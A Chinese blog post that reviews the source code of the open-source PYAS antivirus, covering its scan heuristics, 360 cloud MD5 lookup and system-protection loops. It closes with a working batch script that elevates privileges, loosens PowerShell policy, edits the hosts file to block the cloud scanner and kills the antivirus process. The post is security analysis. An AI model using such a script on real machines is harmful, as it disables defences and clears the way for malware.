PYAS 简介

PYAS 免费防毒软件

免费开源、轻巧易用、多重安全防护
PYAS采用自研本地以及360云端扫毒引擎,
并内置多重系统安全防护,保障数据安全.

多重系统安全防护

内置5大系统安全防护,以及81个防护子项目

进程防护 -> 监控进程并拦截恶意软件

文件防护 -> 阻止病毒档案创建及释放

引导防护 -> 阻止开机引导扇区被破坏

注册表防护 -> 修复系统注册表防护项目

增强防护 -> 增强注册表关键防护项目

PYAS源代码分析

PYAS 的项目结构

 复制代码 隐藏代码
. │  LICENSE.md │  PYAS.py │  PYAS_Language.py │  PYAS_Model.py │  PYAS_UI.py │  PYAS_UI_rc.py │  PYAS_Version_File.py │  README.md └─Library         ICON.ico         PYAS.json

主要代码就在PYAS.pyPYAS_Model.py 这两个文件中.

先来看PYAS_Model.py:

function_list = [['_CorExeMain'], ['GetProcessHeap', 'RtlUnwind', 'RaiseException', 'HeapSize', 'TerminateProcess', 'UnhandledExceptionFilter', 'SetUnhandledExceptionFilter', 'IsDebuggerPresent', 'HeapDestroy', 'HeapCreate', 'VirtualFree', 'Sleep', 'GetStdHandle',
'省略亿点点......',
], ['InitializeCriticalSection', 'PostQuitMessage', 'RegOpenKeyExA', '?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z', 'PlaySoundA', '_CxxThrowException', '_itoa_s', '__stdio_common_vsprintf', '_initialize_narrow_environment', 'strcat_s', '_callnewh', 'srand', '_getch', '_time64', '_mbsrchr', '_CIcos', '_configthreadlocale', 'SetPixelV', 'ExtractIconA', 'CoInitialize', 'GetModuleFileNameW', 'GetModuleHandleA', 'LoadLibraryA', 'LocalAlloc', 'LocalFree', 'GetModuleFileNameA', 'ExitProcess']]

该数据为后面的PE导入表扫描提供function_list.

扫描的范围

按照文件扩展名:

self.sflist = [".exe",".dll",".com",".msi",".js",".jar",".vbs",".ps1",".xls",".xlsx",".doc",".docx"]

PE导入表扫描

 复制代码 隐藏代码
def pe_scan(self,file):         try:             fn = []             pe = PE(file)             pe.close()             for entry in pe.DIRECTORY_ENTRY_IMPORT:                 for func in entry.imports:                     fn.append(str(func.name, "utf-8"))             for vfl in function_list:                 QApplication.processEvents()                 if sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i]) / min(len(vfl), len(fn)) > 0.5:                     return True             return False         except:             return False

代码中的关键对比部分如下:

 复制代码 隐藏代码
if sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i]) / min(len(vfl), len(fn)) > 0.5:     return True

这段代码对比预定义函数列表(vfl)和从文件的导入表中提取的函数列表(fn).

分为以下几个步骤:

  1. min(len(vfl), len(fn))用于获取两个函数列表中较短的长度,用来避免索引超出范围.
  2. sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i])使用生成器表达式和sum()函数来计算在相同位置上函数列表(vflfn)中函数名称相同的数量.
  3. 计算相同函数数量的比例,即相同函数数量除以较短函数列表的长度.
  4. 如果比例大于0.5,则意味着超过50%的函数名称匹配,代码返回True,表示给定的文件可能是恶意软件.如果没有满足条件的函数,则继续遍历其他预定义函数列表.
  5. 如果遍历完所有预定义函数列表仍未满足条件,代码返回False,表示给定的文件可能是正常文件.

使用该方法存在误判漏判的可能, 病毒一般会隐藏导入表许多非必要函数, 需要时动态加载.

而正常软件又不会故意处理导入表, 所以该方法误判率高, 且比较过程较耗费性能.

签名扫描

 复制代码 隐藏代码
def sign_scan(self, file):         try:             pe = PE(file, fast_load=True)             pe.close()             return pe.OPTIONAL_HEADER.DATA_DIRECTORY[DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]].VirtualAddress == 0         except:             return True

任何不具有签名的应用程序都会被Kill并删除, 但是不检验签名的合法性.

360云查杀

 复制代码 隐藏代码
def api_scan(self, file):         try:             if self.cloud_services == 1:                 with open(file, "rb") as f:                     text = str(md5(f.read()).hexdigest())                 strBody = f'-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="md5s"\r\n\r\n{text}\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="format"\r\n\r\nXML\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="product"\r\n\r\n360zip\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="combo"\r\n\r\n360zip_main\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="v"\r\n\r\n2\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="osver"\r\n\r\n5.1\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="vk"\r\n\r\na03bc211\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="mid"\r\n\r\n8a40d9eff408a78fe9ec10a0e7e60f62\r\n-------------------------------7d83e2d7a141e--'                 response = requests.post('http://qup.f.360.cn/file_health_info.php', data=strBody, timeout=3)                 return response.status_code == 200 and float(ET.fromstring(response.text).find('.//e_level').text) > 50         except:             return False

同理, e_level > 50%被判定为危险.  

Body解析:

 复制代码 隐藏代码
-------------------------------7d83e2d7a141e Content-Disposition: form-data; name="md5s" {text} -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="format" XML -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="product" 360zip -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="combo" 360zip_main -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="v" 2 -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="osver" 5.1 -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="vk" a03bc211 -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="mid" 8a40d9eff408a78fe9ec10a0e7e60f62 -------------------------------7d83e2d7a141e--

其中{text}会被替换成文件的MD5字符串

其中product为360zip, 所以应该是从360zip抓取的api.

进程防护

 复制代码 隐藏代码
def protect_system_processes(self):         while self.proc_protect:             for p in psutil.process_iter():                 try:                     time.sleep(0.001)                     file, name = str(p.exe()).replace("\\", "/"), str(p.name())                     if file == self.pyas or file in self.whitelist:                         continue                     elif ":/Windows" in file or ":/Program" in file or "AppData" in file:                         continue                     elif file in ["","Registry","vmmemCmZygote","MemCompression"]:                         continue                     elif self.high_sensitivity == 1 and self.sign_scan(file):                         p.kill()                         self.system_notification(self.text_Translate("無效簽名攔截: ")+name)                     elif self.api_scan(file):                         p.kill()                         self.system_notification(self.text_Translate("惡意軟體攔截: ")+name)                     elif self.pe_scan(file):                         p.kill()                         self.system_notification(self.text_Translate("可疑檔案攔截: ")+name)                     gc.collect()                 except:                     pass

注意这一句代码:

 复制代码 隐藏代码
for p in psutil.process_iter():

因为我之前也尝试过仿照UAC实现进程的拦截与允许, 网上有一个vb6.0实现进程启动拦截的代码, 那个项目就是利用进程列表快照反复对比实现的, 一旦检测到新的, 先创建Pending Process, 然后弹窗问用户是否启动, 如果允许, Resume Process, 否则直接Kill.

但是这种方法问题也很明显:

  1. 就是再怎么Thread.Sleep, 也是死循环, 如果没有新的进程启动, 无疑是耗费性能.
  2. 存在时间抢占, 不一定在任何情况下都能比程序先一步处理.

文件防护

 复制代码 隐藏代码
def protect_system_file(self,path):         hDir = win32file.CreateFile(path,win32con.GENERIC_READ,win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE,None,win32con.OPEN_EXISTING,win32con.FILE_FLAG_BACKUP_SEMANTICS,None)         while self.file_protect:             try:                 for action, file in win32file.ReadDirectoryChangesW(hDir,1024,True,win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY,None,None):                     file = str(f"{path}{file}").replace("\\", "/")                     if file == self.pyas or file in self.whitelist:                         continue                     elif ":/$Recycle.Bin" in file or ":/Windows" in file or ":/Program" in file:                         continue                     elif action == 3 and str(os.path.splitext(file)[1]).lower() in self.sflist:                         if self.sign_scan(file) and self.api_scan(file):                             os.remove(file)                             self.system_notification(self.text_Translate("惡意軟體刪除: ")+file)             except:                 pass

这个类似C# 里提供的FileSystemWatcher, 监听文件系统变化. 该代码不检查谁进行的更改, 只检查受保护的目录不被写入病毒文件.

引导防护

 复制代码 隐藏代码
def protect_system_mbr_repair(self):         while self.mbr_protect and self.mbr_value != None:             try:                 time.sleep(0.2)                 with open(r"\\.\PhysicalDrive0", "r+b") as f:                     if f.read(512) != self.mbr_value:                         f.seek(0)                         f.write(self.mbr_value)                         self.system_notification(self.text_Translate("引導分區修復: PhysicalDrive0"))             except:                 pass

就是一直对比MBR, 实际和一开始保存的, 不一样就写回去覆盖.

注册表防护

 复制代码 隐藏代码
    def protect_system_reg_repair(self):         while self.reg_protect:             try:                 time.sleep(0.2)                 self.repair_system_restrictions()             except:                 pass     def repair_system_restrictions(self):         try:             Permission = ["NoControlPanel", "NoDrives", "NoFileMenu", "NoFind", "NoRealMode", "NoRecentDocsMenu","NoSetFolders",             "NoSetFolderOptions", "NoViewOnDrive", "NoClose", "NoRun", "NoDesktop", "NoLogOff", "NoFolderOptions", "RestrictRun","DisableCMD",             "NoViewContexMenu", "HideClock", "NoStartMenuMorePrograms", "NoStartMenuMyGames", "NoStartMenuMyMusic" "NoStartMenuNetworkPlaces",             "NoStartMenuPinnedList", "NoActiveDesktop", "NoSetActiveDesktop", "NoActiveDesktopChanges", "NoChangeStartMenu", "ClearRecentDocsOnExit",             "NoFavoritesMenu", "NoRecentDocsHistory", "NoSetTaskbar", "NoSMHelp", "NoTrayContextMenu", "NoViewContextMenu", "NoWindowsUpdate",             "NoWinKeys", "StartMenuLogOff", "NoSimpleNetlDList", "NoLowDiskSpaceChecks", "DisableLockWorkstation", "NoManageMyComputerVerb",             "DisableTaskMgr", "DisableRegistryTools", "DisableChangePassword", "Wallpaper", "NoComponents", "NoAddingComponents", "Restrict_Run"]             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"Explorer")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"Explorer")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"System")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"System")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"ActiveDesktop")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Policies\Microsoft\Windows",0,win32con.KEY_ALL_ACCESS),"System")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Policies\Microsoft\Windows",0,win32con.KEY_ALL_ACCESS),"System")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft",0,win32con.KEY_ALL_ACCESS),"MMC")             win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft\MMC",0,win32con.KEY_ALL_ACCESS),"{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}")             keys = [win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Policies\Microsoft\Windows\System",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Policies\Microsoft\Windows\System",0,win32con.KEY_ALL_ACCESS),             win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}",0,win32con.KEY_ALL_ACCESS)]             for key in keys:                 for i in Permission:                     try:                         win32api.RegDeleteValue(key,i)                     except:                         pass                 win32api.RegCloseKey(key)         except:             pass

定时将常见Windows高危默认注册表项覆盖写入, 并删除高危的注册表值.

增强防护

 复制代码 隐藏代码
    def protect_system_enhanced(self):         while self.enh_protect:             try:                 time.sleep(0.2)                 self.repair_system_file_type()                 self.repair_system_image()                 self.repair_system_icon()             except:                 pass     def repair_system_icon(self):         try:             for file_type in ['exefile', 'comfile', 'txtfile', 'dllfile', 'inifile', 'VBSfile']:                 try:                     key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, file_type, 0, win32con.KEY_ALL_ACCESS)                     win32api.RegSetValue(key, 'DefaultIcon', win32con.REG_SZ, '%1')                 except:                     pass                 try:                     key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\Classes\\' + file_type, 0, win32con.KEY_ALL_ACCESS)                     win32api.RegSetValue(key, 'DefaultIcon', win32con.REG_SZ, '%1')                 except:                     pass         except:             pass     def repair_system_image(self):         try:             key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0,win32con.KEY_ALL_ACCESS | win32con.WRITE_OWNER)             count = win32api.RegQueryInfoKey(key)[0]             while count >= 0:                 try:                     subKeyName = win32api.RegEnumKey(key, count)                     win32api.RegDeleteKey(key, subKeyName)                 except:                     pass                 count = count - 1         except:             pass     def repair_system_file_type(self):         try:             data = [('jpegfile', 'JPEG Image'),('.exe', 'exefile'),('exefile', 'Application'),('.com', 'comfile'),('comfile', 'MS-DOS Application'),                     ('.zip', 'CompressedFolder'),('.dll', 'dllfile'),('dllfile', 'Application Extension'),('.sys', 'sysfile'),('sysfile', 'System file'),                     ('.bat', 'batfile'),('batfile', 'Windows Batch File'),('VBS', 'VB Script Language'),('VBSfile', 'VBScript Script File'),                     ('.txt', 'txtfile'),('txtfile', 'Text Document'),('.ini', 'inifile'),('inifile', 'Configuration Settings')]             key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\Classes', 0, win32con.KEY_ALL_ACCESS)# HKEY_LOCAL_MACHINE             for ext, value in data:                 win32api.RegSetValue(key, ext, win32con.REG_SZ, value)             win32api.RegCloseKey(key)             key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\Classes', 0, win32con.KEY_ALL_ACCESS)# HKEY_CURRENT_USER             for ext, value in data:                 win32api.RegSetValue(key, ext, win32con.REG_SZ, value)                 try:                     keyopen = win32api.RegOpenKey(key, ext + r'\shell\open', 0, win32con.KEY_ALL_ACCESS)                     win32api.RegSetValue(keyopen, 'command', win32con.REG_SZ, '"%1" %*')                     win32api.RegCloseKey(keyopen)                 except:                     pass             win32api.RegCloseKey(key)             key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts', 0, win32con.KEY_ALL_ACCESS)# HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts             extensions = ['.exe', '.zip', '.dll', '.sys', '.bat', '.txt', '.msc']             for ext in extensions:                 win32api.RegSetValue(key, ext, win32con.REG_SZ, '')             win32api.RegCloseKey(key)             key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, None, 0, win32con.KEY_ALL_ACCESS)# HKEY_CLASSES_ROOT             for ext, value in data:                 win32api.RegSetValue(key, ext, win32con.REG_SZ, value)                 if ext in ['.cmd', '.vbs']:                     win32api.RegSetValue(key, ext + 'file', win32con.REG_SZ, 'Windows Command Script')                 try:                     keyopen = win32api.RegOpenKey(key, ext + r'\shell\open', 0, win32con.KEY_ALL_ACCESS)                     win32api.RegSetValue(keyopen, 'command', win32con.REG_SZ, '"%1" %*')                     win32api.RegCloseKey(keyopen)                 except:                     pass             win32api.RegCloseKey(key)         except:             pass

类似注册表防护, 不断覆写正常默认值.

其他部分

其他部分就没什么必要说了, 都是一些常见的系统修复功能, 下面说说怎么绕过.

绕过PYAS

分析

  1. 只是利用了简单的进程列表对比, 而且主要依赖扫描文件来防护, 没有任何关于正在执行部分的处理过程, 意味着它不具备行为分析能力.
  2. 没有做WIN32层面的HOOK, 更没有做RING0的驱动对抗, 而且也没有自我保护功能.
  3. 无法查杀动态脚本, 例如MD5变化的.
  4. 不检查签名有效性.
  5. 严重依赖WIN32 Process组件, 结束进程是普通的Kill, 删除不强制.
  6. [KEYPOINT] PYAS 主要依靠360云查杀扫描MD5, 一旦断网, 本地引擎无法查杀脚本, 因为本地引擎需要使用PE导入表判断.
  7. 设置易被篡改, 例如白名单列表.

绕过示例

 复制代码 隐藏代码
@echo off setlocal REM 检查是否已经以管理员权限运行脚本 net session >nul 2>&1 if %errorLevel% == 0 (     goto :run_with_admin ) REM 调整Powersehll脚本运行策略为最宽松 powershell.exe Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force REM 如果没有以管理员权限运行脚本,重新以管理员权限运行 powershell.exe -Command "Start-Process -FilePath \"%0\" -Verb RunAs" exit :run_with_admin REM 已以管理员权限运行 set hosts_path=C:\Windows\System32\drivers\etc\hosts REM 修改Hosts文件的权限为任何人可读写 icacls %hosts_path% /grant Everyone:(W,R) REM 写入hosts禁用360云查杀 echo. >> %hosts_path% echo 127.0.0.1 qup.f.360.cn >> %hosts_path% REM 结束PYAS进程 set "process_name=PYAS.exe" taskkill /f /t /im "%process_name%" REM 后续其他操作...... exit

参考

PYAS官网

PYAS开源仓库(Github)

CSDN-VB进程启动拦截

扫码免费获取资源: